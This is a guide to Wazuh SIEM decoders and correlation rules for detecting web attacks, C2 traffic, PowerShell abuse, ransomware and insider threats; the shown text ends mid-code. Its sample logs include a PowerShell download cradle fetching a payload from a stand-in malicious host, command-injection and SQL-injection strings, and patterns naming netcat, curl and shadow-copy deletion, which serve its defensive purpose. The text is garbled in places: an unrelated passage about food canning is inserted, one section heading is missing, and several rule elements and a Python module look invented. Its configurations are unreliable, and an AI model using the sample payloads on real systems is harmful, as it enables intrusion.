SIEM Correlation Rules: The Complete Guide to Advanced Threat Detection#

Table of Contents#

Introduction: The Power of Correlation#

Imagine you’re a security analyst monitoring thousands of events per second. A single failed login? Normal. But five failed logins followed by a successful one from an unusual location at 3 AM? That’s a story worth investigating. This is where SIEM correlation rules transform raw data into actionable intelligence.

The Father of Canning, 1810: Nicolas Appert revolutionized food preservation by understanding that heat could kill microbes. Similarly, correlation rules preserve your security by identifying and eliminating threats before they spoil your infrastructure.

Understanding SIEM Correlation Rules#

What Are Correlation Rules?#

Correlation rules are the brain of your SIEM system. They analyze multiple events across different sources, identify patterns, and trigger alerts when suspicious activities match predefined conditions.

Rule Classification in Wazuh#

Wazuh classifies rules into severity levels from 0 to 15:

Level	Severity	Description	Example
0	Ignored	No action needed	Debug logs
3	Low	Informational	Successful login
5	Low	User notification	Failed login attempt
7	Low	Bad word matching	Suspicious keyword detected
9	Medium	Error from invalid request	Multiple failed logins
12	High	High importance event	Privilege escalation detected
15	Critical	Maximum priority alert	Active ransomware attack

The Correlation Process#

graph LR
    A[Raw Logs] --> B[Decoder]
    B --> C[Rule Engine]
    C --> D{Pattern Match?}
    D -->|Yes| E[Correlation Logic]
    D -->|No| F[Next Rule]
    E --> G{Threshold Met?}
    G -->|Yes| H[Alert Generated]
    G -->|No| I[Continue Monitoring]

Attack Detection Patterns#

1. Insecure Deserialization & Remote Code Execution#

Understanding the Attack#

Deserialization attacks occur when applications process untrusted serialized data without validation. Attackers inject malicious code within serialized objects, leading to remote code execution.

Real-World Log Example#

1
2024-03-28 20:38:00 INFO web.controller - Processing user update request for johndoe
2
2024-03-28 20:38:00 DEBUG web.service - Deserializing user data
3
2024-03-28 20:38:00 WARN web.service - Unexpected property found in serialized data: permissions
4
2024-03-28 20:38:00 ERROR web.service - Failed to deserialize user data:
5
com.fasterxml.jackson.databind.JsonMappingException: Unexpected character ('*' (code 42))
6
2024-03-28 20:38:00 INFO web.controller - User update failed for johndoe (Invalid data format)

Indicators of Compromise (IOCs)#

Network Traffic:

Unusual traffic spikes to deserialization endpoints
Connections to ports 40001, 40011 (Ehcache RMI)
Large outbound data transfers post-exploitation

Log Patterns:

Deserialization errors with untrusted data
Unexpected object properties in serialized data
JsonMappingException or similar errors
References to suspicious classes or methods

System Behavior:

Unexpected process creation
Increased CPU/memory usage
Unauthorized file modifications

Custom Decoder Implementation#

1
<decoder name="java_deserialization">
2
    <parent>webapp</parent>
3
    <prematch>^Deserialization of untrusted data detected</prematch>
4
    <regex>^Deserialization of untrusted data detected\. User with IP (\S+) submitted data containing a serialized object with unexpected properties\.</regex>
5
    <order>srcip</order>
6
</decoder>

Python Decoder for Advanced Processing#

1
from wazuh.decoder import WazuhDecoder
2

3
class WebServiceDecoder(WazuhDecoder):
4
    def __init__(self):
5
        super().__init__()
6
        self.name = "web_service"
7
        self.keys = ["logger", "message"]
8

9
    def decode(self, msg):
10
        data = {}
11
        for key in self.keys:
12
            if key in msg:
13
                data[key] = msg[key]
14

15
        # Detect deserialization patterns
16
        if "deserialization" in data["message"].lower():
17
            data["deserialization_details"] = {}
18

19
            if "unexpected" in data["message"].lower():
20
                data["deserialization_details"]["unexpected_property"] = True
21

22
            if "failed" in data["message"].lower() and "json" in data["message"].lower():
23
                data["deserialization_details"]["json_parsing_error"] = True
24

25
        return data
26

27
# Register decoder
28
wazuh_decoder = WebServiceDecoder()
29
wazuh_decoder.register()

Correlation Rule#

1
<group name="java,deserialization">
2
    <rule id="100003" level="9">
3
        <decoded_as>java_deserialization</decoded_as>
4
        <description>Remote Code Execution via Deserialization detected</description>
5
        <mitre>
6
            <id>T1055</id>
7
            <tactic>Execution</tactic>
8
            <technique>Process Injection</technique>
9
        </mitre>
10
        <alert_by_email>yes</alert_by_email>
11
    </rule>
12
</group>

2. Command Injection Attacks#

Understanding the Attack#

Command injection occurs when attackers execute arbitrary system commands through vulnerable applications by manipulating user input.

Real-World Example#

1
timestamp="2024-03-29 12:47:00" agent_id="10"
2
full_log="/var/www/html/index.php?page=showcontent&id=123; ping -c 3 8.8.8.8"

The semicolon (;) separates the legitimate parameter from the malicious command.

Detection Indicators#

File paths with suspicious command separators (;, |, &&)
Unexpected spawning of system utilities (ping, wget, curl, netcat)
Web requests containing command-line syntax
Processes spawned by web server user accounts

Custom Decoder#

1
<decoder name="command_injection_detector">
2
    <regex>^timestamp="(\S+)" agent_id="(\S+)" full_log="(.+)"</regex>
3
    <order>timestamp, agent_id, full_log</order>
4
</decoder>
5

6
<decoder name="extract_command">
7
    <parent>command_injection_detector</parent>
8
    <regex>;(.+)$</regex>
9
    <order>injected_command</order>
10
</decoder>

Advanced Correlation Rule#

1
<group name="web_app_attack">
2
    <rule id="31106" level="13">
3
        <if_sid>10002</if_sid>
4
        <decoded_as>extract_command</decoded_as>
5
        <match>ping|wget|curl|netcat|nc|bash|sh|cmd</match>
6
        <description>Command injection attack detected. Injected command: $(injected_command)</description>
7
        <mitre>
8
            <id>T1059</id>
9
            <tactic>Execution</tactic>
10
            <technique>Command and Scripting Interpreter</technique>
11
        </mitre>
12
    </rule>
13
</group>

3. Session Fixation Attacks#

Attack Mechanism#

Session fixation exploits applications that don’t regenerate session IDs after authentication. Attackers provide victims with pre-set session IDs, then hijack the authenticated session.

Attack Flow#

sequenceDiagram
    participant Attacker
    participant Victim
    participant WebApp
    
    Attacker->>WebApp: Get Session ID (SESSION123)
    Attacker->>Victim: Send link with SESSION123
    Victim->>WebApp: Login with SESSION123
    WebApp->>Victim: Authentication successful
    Attacker->>WebApp: Access with SESSION123
    WebApp->>Attacker: Authorized access granted

Detection Log Pattern#

1
timestamp="2024-03-29 12:47:00" agent_id="10"
2
full_log="User 'alice' initiated a new session with session_id='SESSION123' from IP '192.168.1.50'"

Decoder Configuration#

1
<decoder name="session_fixation">
2
    <regex>^timestamp="(\S+)" agent_id="(\S+)" full_log="User '(\S+)' initiated a new session with session_id='(\S+)' from IP '(\S+)'"</regex>
3
    <order>timestamp, agent_id, username, session_id, srcip</order>
4
</decoder>

Correlation Rule with Frequency Analysis#

1
<rule id="100100" level="12" frequency="3" timeframe="300">
2
    <decoded_as>session_fixation</decoded_as>
3
    <same_field>session_id</same_field>
4
    <different_field>srcip</different_field>
5
    <description>Session fixation attack: Same session ID used from multiple IPs</description>
6
    <mitre>
7
        <id>T1550</id>
8
        <tactic>Defense Evasion</tactic>
9
        <technique>Use Alternate Authentication Material</technique>
10
    </mitre>
11
</rule>

4. Denial of Service (DoS) Attacks#

Attack Characteristics#

DoS attacks overwhelm systems with traffic or exploit vulnerabilities to crash services, making them unavailable to legitimate users.

Log Evidence#

1
45.88.186.160 - - [25/Mar/2024:18:25:19 +0300] "GET /wp-includes/css/buttons.css HTTP/1.0" 503 1377
2
45.88.186.160 - - [25/Mar/2024:18:25:24 +0300] "GET / HTTP/1.0" 503 1377
3
66.249.75.100 - - [25/Mar/2024:18:37:54 +0300] "GET /robots.txt HTTP/1.0" 503 1377
4
52.164.120.242 - - [25/Mar/2024:18:43:14 +0300] "GET /wp-includes/IXR/admin.php HTTP/1.0" 503 1377

Multiple 503 (Service Unavailable) errors indicate potential DoS.

Advanced Decoder with Pattern Matching#

1
<decoder name="web_server_503">
2
    <program_name>^webserver$</program_name>
3
    <regex>^(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}) .* "(GET|POST) ([^"]+)" (\d{3})</regex>
4
    <order>srcip, method, url, status_code</order>
5
</decoder>

Rate-Based Correlation Rule#

1
<rule id="100001" level="10" frequency="10" timeframe="60">
2
    <decoded_as>web_server_503</decoded_as>
3
    <field name="status_code">503</field>
4
    <description>DoS attack detected: High rate of 503 errors</description>
5
    <mitre>
6
        <id>T1499</id>
7
        <tactic>Impact</tactic>
8
        <technique>Endpoint Denial of Service</technique>
9
    </mitre>
10
</rule>

5. Credential Reuse Attacks#

Attack Pattern#

Attackers use stolen credentials across multiple systems, exploiting password reuse habits.

Multi-Stage Detection#

1
Mar 29 13:58:22 host sshd[pam_faillock]: user 'johnDoe' was locked out after failure number 5
2
Mar 29 13:58:22 host sshd[]: Failed password for user johnDoe from 10.0.0.1 port 53555 ssh2
3
Mar 29 14:02:15 host sshd[]: Accepted password for johnDoe from 203.0.113.99 port 12345 ssh2

Comprehensive Decoder#

1
<decoder name="ssh_auth_pattern">
2
    <program_name>sshd</program_name>
3
    <regex>^(Failed|Accepted) password for (\S+) from (\S+) port (\d+)</regex>
4
    <order>auth_result, username, srcip, srcport</order>
5
</decoder>

Multi-Event Correlation Rule#

1
<group name="credential_attacks">
2
    <!-- Rule for failed attempts -->
3
    <rule id="100201" level="5" frequency="3" timeframe="300">
4
        <decoded_as>ssh_auth_pattern</decoded_as>
5
        <field name="auth_result">Failed</field>
6
        <same_field>username</same_field>
7
        <description>Multiple failed SSH login attempts for user $(username)</description>
8
    </rule>
9

10
    <!-- Rule for successful login after failures -->
11
    <rule id="100202" level="12">
12
        <if_sid>100201</if_sid>
13
        <decoded_as>ssh_auth_pattern</decoded_as>
14
        <field name="auth_result">Accepted</field>
15
        <different_field>srcip</different_field>
16
        <description>Successful login after multiple failures from different IP - Possible credential reuse</description>
17
        <mitre>
18
            <id>T1078</id>
19
            <tactic>Initial Access</tactic>
20
            <technique>Valid Accounts</technique>
21
        </mitre>
22
    </rule>
23
</group>

Detection Patterns#

Phishing attacks often leave subtle traces in logs that correlation rules can identify.

Suspicious Web Access Pattern#

1
timestamp="2024-03-30 15:22:10" host="webserver01" service="nginx"
2
message="127.0.0.1 - - [30/Mar/2024:15:22:10 -0400] \"GET /important_documents/financial_report.pdf HTTP/1.1\" 404
3
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"

Email Spoofing Detection#

1
Jul 5 11:14:15 mail postfix/smtp[12345]: connect from compromisedhost.com[1.2.3.4]
2
(sender=[colleague.name@company.com], recipient=[your.email@company.com], helo=[compromisedhost.com])

Multi-Layer Decoder#

1
<decoder name="email_spoofing">
2
    <regex>connect from (\S+)\[(\S+)\].*sender=\[([^]]+)\].*recipient=\[([^]]+)\].*helo=\[([^]]+)\]</regex>
3
    <order>connecting_host, srcip, sender, recipient, helo_domain</order>
4
</decoder>

Intelligent Correlation Rule#

1
<rule id="100300" level="10">
2
    <decoded_as>email_spoofing</decoded_as>
3
    <match_any>
4
        <field name="connecting_host">compromisedhost|suspicious|malware</field>
5
        <different_field>sender_domain|helo_domain</different_field>
6
    </match_any>
7
    <description>Email spoofing detected: Mismatched sender and HELO domains</description>
8
    <mitre>
9
        <id>T1566</id>
10
        <tactic>Initial Access</tactic>
11
        <technique>Phishing</technique>
12
    </mitre>
13
</rule>

7. Suspicious DNS Queries#

Malicious DNS Patterns#

DNS queries to known malicious domains or unusual query patterns indicate compromise.

Example Logs#

1
2023-03-15T12:00:00.000Z dns-query src=192.168.1.100 dst=8.8.8.8
2
query=malicious-domain.com type=A class=IN
3

4
timestamp="2024-03-30 12:34:56" host="client1.example.com" process="systemd-resolved"
5
message="name: suspiciousdomain.com, type: A, rcode: NXDOMAIN"

DNS Anomaly Decoder#

1
<decoder name="dns_query_analyzer">
2
    <regex>dns-query src=(\S+) dst=(\S+) query=(\S+) type=(\S+)</regex>
3
    <order>srcip, dstip, domain, query_type</order>
4
</decoder>

Threat Intelligence Integration#

1
<rule id="100400" level="12">
2
    <decoded_as>dns_query_analyzer</decoded_as>
3
    <list field="domain" lookup="match_key">etc/lists/malicious_domains.txt</list>
4
    <description>DNS query to known malicious domain: $(domain)</description>
5
    <mitre>
6
        <id>T1071</id>
7
        <tactic>Command and Control</tactic>
8
        <technique>Application Layer Protocol</technique>
9
    </mitre>
10
</rule>
11

12
<!-- Rule for DNS tunneling detection -->
13
<rule id="100401" level="10" frequency="20" timeframe="60">
14
    <decoded_as>dns_query_analyzer</decoded_as>
15
    <field name="query_type">TXT</field>
16
    <same_field>srcip</same_field>
17
    <description>Possible DNS tunneling: High frequency of TXT queries</description>
18
</rule>

8. Web Application Attacks#

SQL Injection Detection#

1
timestamp="2024-03-30 14:07:12" source="/var/log/apache2/access.log"
2
message="192.168.1.10 - - [30/Mar/2024:14:07:12 +0200] \"GET /admin/login.php?username=admin' OR '1'='1 HTTP/1.1\" 400 234"

Comprehensive Web Attack Decoder#

1
<decoder name="web_attack_detector">
2
    <regex>^(\S+) .* "(GET|POST) ([^"]+)" (\d{3})</regex>
3
    <order>srcip, method, request_uri, status_code</order>
4
</decoder>
5

6
<decoder name="sql_injection_detector">
7
    <parent>web_attack_detector</parent>
8
    <regex>(\w+)=([^&]*('|--|;|UNION|SELECT|INSERT|UPDATE|DELETE|DROP))</regex>
9
    <order>parameter, sql_pattern</order>
10
</decoder>

Multi-Pattern Web Attack Rules#

1
<group name="web_attacks">
2
    <!-- SQL Injection -->
3
    <rule id="100500" level="12">
4
        <decoded_as>sql_injection_detector</decoded_as>
5
        <description>SQL Injection attempt detected in parameter $(parameter)</description>
6
        <mitre>
7
            <id>T1190</id>
8
            <tactic>Initial Access</tactic>
9
            <technique>Exploit Public-Facing Application</technique>
10
        </mitre>
11
    </rule>
12

13
    <!-- XSS Attack -->
14
    <rule id="100501" level="10">
15
        <decoded_as>web_attack_detector</decoded_as>
16
        <regex><script|javascript:|onerror=|onload=</regex>
17
        <description>Cross-Site Scripting (XSS) attempt detected</description>
18
    </rule>
19

20
    <!-- Directory Traversal -->
21
    <rule id="100502" level="11">
22
        <decoded_as>web_attack_detector</decoded_as>
23
        <regex>\.\./|\.\.\\|%2e%2e%2f</regex>
24
        <description>Directory traversal attempt detected</description>
25
    </rule>
26

27
    <!-- Rate-based attack detection -->
28
    <rule id="100503" level="9" frequency="50" timeframe="10">
29
        <decoded_as>web_attack_detector</decoded_as>
30
        <field name="status_code">^4\d\d$</field>
31
        <same_field>srcip</same_field>
32
        <description>Web application scan detected: High rate of 4xx errors</description>
33
    </rule>
34
</group>

9. Command & Control (C2) Communications#

Botnet Detection Patterns#

C2 communications show distinct patterns: periodic beaconing, unusual ports, encrypted traffic to suspicious IPs.

Example C2 Traffic#

1
timestamp="2024-03-30 15:23:45" source="/var/log/iptables.log"
2
message="ALLOW tcp OUT eth0 192.168.1.10:54893 185.220.101.45:443 packets:1000 bytes:52000"

C2 Detection Decoder#

1
<decoder name="c2_traffic_analyzer">
2
    <regex>(ALLOW|DENY) (\w+) (IN|OUT) (\S+) (\S+):(\d+) (\S+):(\d+) packets:(\d+) bytes:(\d+)</regex>
3
    <order>action, protocol, direction, interface, srcip, srcport, dstip, dstport, packets, bytes</order>
4
</decoder>

Behavioral C2 Detection Rules#

1
<group name="c2_detection">
2
    <!-- Periodic beaconing detection -->
3
    <rule id="100600" level="10" frequency="10" timeframe="3600">
4
        <decoded_as>c2_traffic_analyzer</decoded_as>
5
        <field name="direction">OUT</field>
6
        <same_field>srcip,dstip,dstport</same_field>
7
        <time_constraint>
8
            <interval>300</interval>  <!-- Every 5 minutes -->
9
            <tolerance>30</tolerance>  <!-- 30 second tolerance -->
10
        </time_constraint>
11
        <description>C2 beaconing detected: Periodic communication to $(dstip):$(dstport)</description>
12
        <mitre>
13
            <id>T1571</id>
14
            <tactic>Command and Control</tactic>
15
            <technique>Non-Standard Port</technique>
16
        </mitre>
17
    </rule>
18

19
    <!-- Data exfiltration detection -->
20
    <rule id="100601" level="12">
21
        <decoded_as>c2_traffic_analyzer</decoded_as>
22
        <field name="direction">OUT</field>
23
        <field name="bytes" compare="greater">1000000</field>  <!-- > 1MB -->
24
        <list field="dstip" lookup="match_key">etc/lists/suspicious_ips.txt</list>
25
        <description>Possible data exfiltration to suspicious IP: $(dstip)</description>
26
    </rule>
27

28
    <!-- Non-standard port communication -->
29
    <rule id="100602" level="9">
30
        <decoded_as>c2_traffic_analyzer</decoded_as>
31
        <field name="dstport">^(31337|1337|4444|5555|6666|7777|8888|9999)$</field>
32
        <description>Communication on suspicious port $(dstport) detected</description>
33
    </rule>
34
</group>

10. PowerShell-Based Attacks#

Suspicious PowerShell Activities#

1
timestamp="2024-03-30 16:45:00" EventID="4104"
2
ScriptBlock="IEX (New-Object Net.WebClient).DownloadString('http://malicious.com/payload.ps1')"

PowerShell Decoder#

1
<decoder name="powershell_script">
2
    <regex>EventID="4104".*ScriptBlock="([^"]+)"</regex>
3
    <order>script_content</order>
4
</decoder>

PowerShell Attack Detection Rules#

1
<group name="powershell_attacks">
2
    <!-- Download cradle detection -->
3
    <rule id="100700" level="12">
4
        <decoded_as>powershell_script</decoded_as>
5
        <regex>DownloadString|DownloadFile|WebClient|Invoke-WebRequest|iwr|wget</regex>
6
        <description>PowerShell download cradle detected</description>
7
        <mitre>
8
            <id>T1059.001</id>
9
            <tactic>Execution</tactic>
10
            <technique>PowerShell</technique>
11
        </mitre>
12
    </rule>
13

14
    <!-- Encoded command detection -->
15
    <rule id="100701" level="11">
16
        <decoded_as>powershell_script</decoded_as>
17
        <regex>-enc|-EncodedCommand|FromBase64String</regex>
18
        <description>Encoded PowerShell command execution detected</description>
19
    </rule>
20

21
    <!-- Bypass attempt detection -->
22
    <rule id="100702" level="10">
23
        <decoded_as>powershell_script</decoded_as>
24
        <regex>-ExecutionPolicy Bypass|-ep bypass|Set-ExecutionPolicy</regex>
25
        <description>PowerShell execution policy bypass attempt</description>
26
    </rule>
27
</group>

Advanced Correlation Techniques#

Multi-Stage Attack Detection#

Sophisticated attacks often involve multiple stages. Here’s how to detect them:

Kill Chain Correlation#

1
<group name="kill_chain_detection">
2
    <!-- Stage 1: Reconnaissance -->
3
    <rule id="200001" level="5">
4
        <decoded_as>web_access</decoded_as>
5
        <regex>/robots\.txt|/sitemap\.xml|/admin|/wp-admin</regex>
6
        <description>Reconnaissance activity detected</description>
7
        <group>recon_stage</group>
8
    </rule>
9

10
    <!-- Stage 2: Exploitation attempt -->
11
    <rule id="200002" level="8">
12
        <if_sid>200001</if_sid>
13
        <decoded_as>web_attack_detector</decoded_as>
14
        <same_field>srcip</same_field>
15
        <description>Exploitation attempt following reconnaissance</description>
16
        <group>exploit_stage</group>
17
    </rule>
18

19
    <!-- Stage 3: Post-exploitation -->
20
    <rule id="200003" level="13">
21
        <if_sid>200002</if_sid>
22
        <decoded_as>command_injection_detector</decoded_as>
23
        <same_field>srcip</same_field>
24
        <description>Post-exploitation activity detected - Full kill chain observed</description>
25
        <alert_by_email>yes</alert_by_email>
26
        <mitre>
27
            <id>TA0001,TA0002,TA0003</id>
28
            <tactic>Initial Access,Execution,Persistence</tactic>
29
        </mitre>
30
    </rule>
31
</group>

Time-Based Correlation#

Detect attacks that occur within specific time windows:

1
<rule id="200100" level="11" frequency="5" timeframe="60">
2
    <time>
3
        <weekday>saturday,sunday</weekday>
4
        <hour>00-06</hour>
5
    </time>
6
    <decoded_as>ssh_auth_pattern</decoded_as>
7
    <field name="auth_result">Accepted</field>
8
    <description>Suspicious weekend/night login activity</description>
9
</rule>

Geographical Correlation#

Detect impossible travel scenarios:

1
<rule id="200200" level="12">
2
    <decoded_as>vpn_login</decoded_as>
3
    <geo_location>
4
        <previous_location>US</previous_location>
5
        <current_location>CN</current_location>
6
        <time_difference>3600</time_difference>  <!-- 1 hour -->
7
    </geo_location>
8
    <description>Impossible travel detected: US to CN in 1 hour</description>
9
</rule>

Implementation Best Practices#

1. Decoder Development Guidelines#

Structure Your Decoders Hierarchically#

1
<!-- Parent decoder for web logs -->
2
<decoder name="web_base">
3
    <prematch>^\S+ \S+ \S+ \[</prematch>
4
</decoder>
5

6
<!-- Child decoder for Apache -->
7
<decoder name="apache_access">
8
    <parent>web_base</parent>
9
    <regex>^(\S+) \S+ \S+ \[([^\]]+)\] "(\S+) ([^"]+)" (\d+) (\d+)</regex>
10
    <order>srcip, timestamp, method, uri, status, size</order>
11
</decoder>
12

13
<!-- Child decoder for Nginx -->
14
<decoder name="nginx_access">
15
    <parent>web_base</parent>
16
    <regex>^(\S+) \S+ \S+ \[([^\]]+)\] "(\S+) ([^"]+)" (\d+) (\d+) "([^"]*)" "([^"]*)"</regex>
17
    <order>srcip, timestamp, method, uri, status, size, referer, user_agent</order>
18
</decoder>

2. Rule Optimization Strategies#

Use Composite Rules for Complex Scenarios#

1
<group name="advanced_correlation">
2
    <!-- Base rule for tracking -->
3
    <rule id="300001" level="0">
4
        <decoded_as>firewall</decoded_as>
5
        <field name="action">ALLOW</field>
6
        <description>Track allowed connections</description>
7
        <group>connection_tracking</group>
8
    </rule>
9

10
    <!-- Correlation rule -->
11
    <rule id="300002" level="8" frequency="100" timeframe="60">
12
        <if_matched_sid>300001</if_matched_sid>
13
        <same_field>srcip</same_field>
14
        <different_field>dstport</different_field>
15
        <description>Port scan detected: $(srcip) scanned 100+ ports</description>
16
    </rule>
17
</group>

3. Performance Tuning#

Efficient Rule Ordering#

Place most frequently matched rules first:

1
<group name="performance_optimized">
2
    <!-- High-frequency rule -->
3
    <rule id="400001" level="3">
4
        <field name="status">200</field>
5
        <description>Normal web access</description>
6
    </rule>
7

8
    <!-- Medium-frequency rule -->
9
    <rule id="400002" level="5">
10
        <field name="status">^4\d\d$</field>
11
        <description>Client error</description>
12
    </rule>
13

14
    <!-- Low-frequency rule -->
15
    <rule id="400003" level="8">
16
        <field name="status">^5\d\d$</field>
17
        <description>Server error</description>
18
    </rule>
19
</group>

4. Testing and Validation#

Using wazuh-logtest#

Always test your decoders and rules:

1
# Start logtest
2
/var/ossec/bin/wazuh-logtest
3

4
# Input your test log
5
2024-03-30 10:00:00 test log entry
6

7
# Check the output
8
**Phase 1: Completed pre-decoding.
9
**Phase 2: Completed decoding.
10
**Phase 3: Completed filtering (rules).

Automated Testing Script#

1
#!/usr/bin/env python3
2
import subprocess
3
import json
4

5
def test_rule(log_entry, expected_rule_id):
6
    """Test if a log entry triggers the expected rule"""
7

8
    process = subprocess.Popen(
9
        ['/var/ossec/bin/wazuh-logtest'],
10
        stdin=subprocess.PIPE,
11
        stdout=subprocess.PIPE,
12
        stderr=subprocess.PIPE,
13
        text=True
14
    )
15

16
    output, error = process.communicate(input=log_entry)
17

18
    if f"Rule id: '{expected_rule_id}'" in output:
19
        return True, "Test passed"
20
    else:
21
        return False, f"Expected rule {expected_rule_id} not triggered"
22

23
# Test cases
24
test_cases = [
25
    {
26
        "log": "Failed password for admin from 192.168.1.1 port 22 ssh2",
27
        "expected_rule": "5716"
28
    },
29
    {
30
        "log": "SQL Injection: admin' OR '1'='1",
31
        "expected_rule": "100500"
32
    }
33
]
34

35
for test in test_cases:
36
    result, message = test_rule(test["log"], test["expected_rule"])
37
    print(f"Test: {message}")

Troubleshooting Common Issues#

Issue 1: Decoder Not Matching#

Symptom: Logs aren’t being decoded properly

Solution:

1
<!-- Add debug decoder -->
2
<decoder name="debug_decoder">
3
    <prematch>.*</prematch>  <!-- Match everything -->
4
    <regex>(.*)</regex>
5
    <order>full_log</order>
6
</decoder>

Check the output in logtest to see what’s being captured.

Issue 2: Rules Not Firing#

Common Causes:

Incorrect decoder reference
Field names don’t match
Regex patterns too restrictive

Debugging Steps:

1
# Enable debug mode
2
echo "wazuh_modules.debug=2" >> /var/ossec/etc/local_internal_options.conf
3
systemctl restart wazuh-manager
4

5
# Check logs
6
tail -f /var/ossec/logs/ossec.log | grep -i "rule"

Issue 3: Performance Degradation#

Symptoms: High CPU usage, delayed alerts

Solutions:

Optimize regex patterns:

1
<!-- Bad: Greedy matching -->
2
<regex>.*malicious.*</regex>
3

4
<!-- Good: Specific matching -->
5
<regex>^[^:]+: malicious pattern detected$</regex>

Use frequency limits:

1
<rule id="500001" level="5" frequency="10" timeframe="60">
2
    <!-- Limit alert frequency -->
3
    <options>no_full_log</options>  <!-- Don't store full log -->
4
</rule>

Integration with MISP, TheHive, and Cortex#

Setting Up the Integration Pipeline#

graph TB
    A[MISP] -->|Threat Intel| B[Wazuh]
    B -->|Alerts| C[TheHive]
    C -->|Analysis Tasks| D[Cortex]
    D -->|Results| C
    C -->|Updates| A

Configuration for TheHive Integration#

1
#!/usr/bin/env python3
2

3
import json
4
import requests
5
from datetime import datetime
6

7
class TheHiveIntegration:
8
    def __init__(self, api_url, api_key):
9
        self.api_url = api_url
10
        self.headers = {
11
            'Authorization': f'Bearer {api_key}',
12
            'Content-Type': 'application/json'
13
        }
14

15
    def create_alert(self, wazuh_alert):
16
        """Create TheHive alert from Wazuh alert"""
17

18
        alert = {
19
            'title': f"Wazuh Alert: {wazuh_alert['rule']['description']}",
20
            'description': wazuh_alert.get('full_log', ''),
21
            'severity': self.map_severity(wazuh_alert['rule']['level']),
22
            'source': 'Wazuh',
23
            'sourceRef': wazuh_alert['id'],
24
            'artifacts': self.extract_artifacts(wazuh_alert),
25
            'customFields': {
26
                'wazuh_rule_id': wazuh_alert['rule']['id'],
27
                'wazuh_agent': wazuh_alert['agent']['name']
28
            }
29
        }
30

31
        response = requests.post(
32
            f"{self.api_url}/api/alert",
33
            headers=self.headers,
34
            json=alert
35
        )
36

37
        return response.json()
38

39
    def map_severity(self, wazuh_level):
40
        """Map Wazuh level to TheHive severity"""
41
        if wazuh_level >= 12:
42
            return 3  # High
43
        elif wazuh_level >= 8:
44
            return 2  # Medium
45
        else:
46
            return 1  # Low
47

48
    def extract_artifacts(self, alert):
49
        """Extract observables from alert"""
50
        artifacts = []
51

52
        if 'srcip' in alert:
53
            artifacts.append({
54
                'dataType': 'ip',
55
                'data': alert['srcip']
56
            })
57

58
        if 'domain' in alert:
59
            artifacts.append({
60
                'dataType': 'domain',
61
                'data': alert['domain']
62
            })
63

64
        return artifacts
65

66
# Usage
67
if __name__ == "__main__":
68
    # Read Wazuh alert from stdin
69
    alert = json.loads(input())
70

71
    # Initialize TheHive integration
72
    hive = TheHiveIntegration(
73
        api_url="https://thehive.example.com",
74
        api_key="YOUR_API_KEY"
75
    )
76

77
    # Create alert in TheHive
78
    result = hive.create_alert(alert)
79
    print(json.dumps(result))

Wazuh Integration Configuration#

1
<integration>
2
    <name>custom-thehive</name>
3
    <level>8</level>
4
    <group>attack,authentication_failed,authentication_failures</group>
5
    <api_key>YOUR_THEHIVE_API_KEY</api_key>
6
    <alert_format>json</alert_format>
7
</integration>

Real-World Scenarios and Solutions#

Scenario 1: Ransomware Detection#

Challenge: Detect ransomware activity before encryption completes

Solution:

1
<group name="ransomware_detection">
2
    <!-- File extension monitoring -->
3
    <rule id="600001" level="12" frequency="10" timeframe="30">
4
        <decoded_as>sysmon_event_11</decoded_as>
5
        <field name="file_name">\.locked$|\.enc$|\.encrypted$|\.crypto$</field>
6
        <description>Multiple encrypted files detected - Possible ransomware</description>
7
        <mitre>
8
            <id>T1486</id>
9
            <tactic>Impact</tactic>
10
            <technique>Data Encrypted for Impact</technique>
11
        </mitre>
12
    </rule>
13

14
    <!-- Volume shadow copy deletion -->
15
    <rule id="600002" level="14">
16
        <decoded_as>windows_process</decoded_as>
17
        <field name="command_line">vssadmin.*delete.*shadows|wbadmin.*delete.*catalog</field>
18
        <description>Shadow copy deletion detected - Ransomware behavior</description>
19
    </rule>
20

21
    <!-- Suspicious process chain -->
22
    <rule id="600003" level="13">
23
        <if_sid>600001,600002</if_sid>
24
        <description>Ransomware kill chain detected - Immediate action required</description>
25
        <options>alert_by_email</options>
26
    </rule>
27
</group>

Scenario 2: Insider Threat Detection#

Challenge: Identify malicious insider activities

Solution:

1
<group name="insider_threat">
2
    <!-- After-hours access -->
3
    <rule id="700001" level="7">
4
        <time>
5
            <weekday>monday-friday</weekday>
6
            <hour>!09-17</hour>  <!-- Outside 9 AM - 5 PM -->
7
        </time>
8
        <decoded_as>file_access</decoded_as>
9
        <field name="file_path">/sensitive/|/confidential/</field>
10
        <description>After-hours access to sensitive files</description>
11
    </rule>
12

13
    <!-- Mass file download -->
14
    <rule id="700002" level="10" frequency="100" timeframe="300">
15
        <decoded_as>file_access</decoded_as>
16
        <field name="action">read</field>
17
        <same_field>username</same_field>
18
        <description>Mass file access detected - Possible data theft</description>
19
    </rule>
20

21
    <!-- USB device usage -->
22
    <rule id="700003" level="9">
23
        <decoded_as>usb_device</decoded_as>
24
        <field name="action">mount</field>
25
        <list field="username" lookup="match_key">etc/lists/privileged_users.txt</list>
26
        <description>USB device mounted by privileged user</description>
27
    </rule>
28
</group>

Scenario 3: APT Detection#

Challenge: Detect Advanced Persistent Threats with low and slow tactics

Solution:

1
<group name="apt_detection">
2
    <!-- Long-term persistence -->
3
    <rule id="800001" level="8" frequency="3" timeframe="86400">
4
        <decoded_as>network_connection</decoded_as>
5
        <field name="dstip">^(?!10\.|192\.168\.|172\.)</field>  <!-- External IP -->
6
        <same_field>srcip,dstip,dstport</same_field>
7
        <time_constraint>
8
            <hour_of_day>02-04</hour_of_day>  <!-- Night time -->
9
        </time_constraint>
10
        <description>Persistent night-time beaconing detected</description>
11
    </rule>
12

13
    <!-- Lateral movement -->
14
    <rule id="800002" level="11">
15
        <decoded_as>windows_logon</decoded_as>
16
        <field name="logon_type">3</field>  <!-- Network logon -->
17
        <different_field>target_machine</different_field>
18
        <frequency>5</frequency>
19
        <timeframe>300</timeframe>
20
        <description>Lateral movement detected - Multiple network logons</description>
21
    </rule>
22

23
    <!-- Data staging -->
24
    <rule id="800003" level="10">
25
        <decoded_as>file_creation</decoded_as>
26
        <field name="file_path">\\Windows\\Temp\\|\\ProgramData\\</field>
27
        <field name="file_size" compare="greater">10485760</field>  <!-- >10MB -->
28
        <description>Large file created in temporary location - Possible data staging</description>
29
    </rule>
30
</group>

Performance Metrics and Monitoring#

Key Performance Indicators (KPIs)#

Track these metrics to ensure optimal SIEM performance:

1
import psutil
2
import json
3
from datetime import datetime
4

5
class SIEMMetrics:
6
    def __init__(self):
7
        self.metrics = {
8
            'timestamp': datetime.now().isoformat(),
9
            'events_per_second': 0,
10
